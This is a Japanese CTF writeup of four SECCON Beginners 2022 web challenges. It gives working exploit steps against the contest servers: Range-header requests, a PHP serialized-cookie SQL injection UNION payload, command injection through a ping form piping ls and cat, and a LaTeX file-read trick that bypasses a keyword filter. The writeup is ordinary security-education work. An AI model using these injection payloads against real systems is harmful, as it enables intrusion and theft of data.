🌊

ctf4b 2022 writeup

2023/09/02に公開

gallery

file_extension=hogeでやると拡張子がhogeのファイルが取得できそう

ソースコードを見ると

func getImageList(fileExtension string) ([]string, error) {
	files, err := os.ReadDir("static")
	if err != nil {
		return nil, err
	}

	res := make([]string, 0, len(files))
	for _, file := range files {
		if !strings.Contains(file.Name(), fileExtension) {
			continue
		}
		res = append(res, file.Name())
	}

	return res, nil
}

strings.Containsでクエリの文字が含まれているかどうかを判断しているので実際には拡張子ではなく、ファイル名でも一致していれば取得できることがわかる

fileExtension = strings.ReplaceAll(fileExtension, "flag", "")

flagに関するものを取得したいがflagは無効化されてしまうことがわかる

しかし、前述したように一文字でも入っていればファイル一覧が取得できるのでfだけで検索をかけるとflag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfというファイルが確認できる

これについて確認したいが

func (w *MyResponseWriter) Write(data []byte) (int, error) {
	filledVal := []byte("?")

	length := len(data)
	if length > w.lengthLimit {
		w.ResponseWriter.Write(bytes.Repeat(filledVal, length))
		return length, nil
	}

	w.ResponseWriter.Write(data[:length])
	return length, nil
}

func middleware() func(http.Handler) http.Handler {
	return func(h http.Handler) http.Handler {
		return http.HandlerFunc(func(rw http.ResponseWriter, r *http.Request) {
			h.ServeHTTP(&MyResponseWriter{
				ResponseWriter: rw,
				lengthLimit:    10240, // SUPER SECURE THRESHOLD
			}, r)
		})
	}
}

10240byteを超えると、ファイルサイズ分の?が返ってくるようになっており、flagを取得できない

以下、チームメイトがsolve

flagのpdfの?の数を数えると16085であることがわかる

そこで、Rangeheaderを用いて半分ずつ取得し、結合する

$ wget --header='Range: bytes=0-8085' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
$ wget --header='Range: bytes=8086-16085' https://gallery.quals.beginners.seccon.jp/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf
$ cat flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf.1 > flag.pdf

serial

Todoリストを作成するアプリ

SQL絡んでそうなdatabase.phpを見るとfindUserByNameがprepared statementを使っていないためSQLインジェクションできそうなことがわかる

/**
 * findUserByName finds a user from database by given userId.
 *
 * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
 */
public function findUserByName($user = null)
{
    if (!isset($user->name)) {
        throw new Exception('invalid user name: ' . $user->user);
    }

    $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    $result = $this->_con->query($sql);
    if (!$result) {
        throw new Exception('failed query for findUserByNameOld ' . $sql);
    }

    while ($row = $result->fetch_assoc()) {
        $user = new User($row['id'], $row['name'], $row['password_hash']);
    }
    return $user;
}

findUserByNameをどこで使っているのか見るとsignup.phpとuser.phpで使用されていることがわかる

signup.phpでは、user登録されたのちにfindUserByNameで実際に登録されているか確認している

$name = $_POST['name'];
$pass = password_hash($_POST['pass'], PASSWORD_DEFAULT);
$user = new User(-1, $name, $pass);

try {
    $db = new Database();
    $db->insertUser($user);

    $user = $db->findUserByName($user);
    if (!$user->isValid()) {
        throw new Exception("invalid user: " . $user->__toString());
    }
} catch (Exception $e) {
    var_dump($e->getMessage());
}

setcookie("__CRED", base64_encode(serialize($user)));

そのため、userにSQL injectionを行えばinjectionできそうだったが、Userクラスでエスケープされてしまっていた

public function __construct($id = null, $name = null, $password_hash = null)
{
    $this->id = htmlspecialchars($id);
    $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
    $this->password_hash = $password_hash;
}

しかし、見返すとsignup.phpの最後にてsetcookie("__CRED", base64_encode(serialize($user)));userをシリアライズしてbase64エンコードしたものをcookieに保存していることがわかった。

また、ログインにも用いられており、

  1. cookieに保存されている情報をデシリアライズ
  2. デシリアライズしたものをfindUserByNameを用いてuserが登録されているか確認
  3. cookieに保存されていたものとfindUserByNameで返ってきたuserのpasswordが一致していればcookieにfindUserByNameで返ってきたuserをシリアライズ、エンコードし保存

という流れになっている。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

cookieに保存されているものは書き換えることができるので、cookie情報を上書きしてしまえばSQL injectionができてしまえそうだと推測。

よって、まずは適当なuser名とpasswordでログイン

その後、cookie情報を手元でデコード、デシリアライズし、nameを上書きする。

具体的には以下のコードを用いた

class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}
$a = "Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjEyMTkiO3M6NDoibmFtZSI7czo4OiJob2dlaG9nZSI7czoxMzoicGFzc3dvcmRfaGFzaCI7czo2MDoiJDJ5JDEwJE90Z3pDQmVQcVFCMU5GTXFFUmI1V3VMNXNoaWg2am9PL21KZ0Z2aE1TVVdPR3BjNzJ5NlI2Ijt9";
$a_obj  = unserialize(base64_decode($a));
$a_obj->name = "' union select 1, body, concat('\$2y\$10\$OtgzCBePqQB1NFMqERb5WuL5shih6joO/mJgFvhMSUWOGpc72y6R6') from flags #";
print(serialize($a_obj));

cookieを上書きして更新したのち、再度cookieをデコードするとflagが書き込まれている

Util

ping checkというタイトルとIPアドレスを入力するフォームがある

ソースコードを見るとAddressが結合されてそのままコマンドを叩くようになっている

commnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"
result, _ := exec.Command("sh", "-c", commnd).CombinedOutput()

OSコマンドインジェクションができそうだと推測

$ curl -X POST -d "Address=127.0.0.1|ls ../" https://util.quals.beginners.seccon.jp/util/ping
{"result":"app\nbin\ndev\netc\nflag_A74FIBkN9sELAjOc.txt\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n"}

flag_A74FIBkN9sELAjOc.txtというファイルがあることを確認できる

curl -X POST -d "Address=127.0.0.1|cat ../flag_A74FIBkN9sELAjOc.txt" https://util.quals.beginners.seccon.jp/util/ping
{"result":"ctf4b{al1_0vers_4re_i1l}\n"}

catでflagを入手

textex

入力したtexをpdfにしてくれるっぽい

tex exploitとかで調べたらこのサイトが出てきた

ひとまずrequirements.txtが表示できたのでflagも同じように表示できそう

\input{requirements.txt}

しかしながらflagが含まれていると無効化されてしまうことがソースコードからわかる

# No flag !!!!
if "flag" in tex_code.lower():
    tex_code = ""

以下チームメイトがsolve

\def \g {g}
\def \f {fla\g}

\documentclass{article}

\begin{document}

\newread\file
\openin\file=\f
\read\file to\fileline
\detokenize\expandafter{\fileline}
\closein\file

\end{document}

\defを用いてflagをバイパスすること、flagの中の_がエラーになってしまうらしいので無効化しているらしい

チームメイトが天才でした

Discussion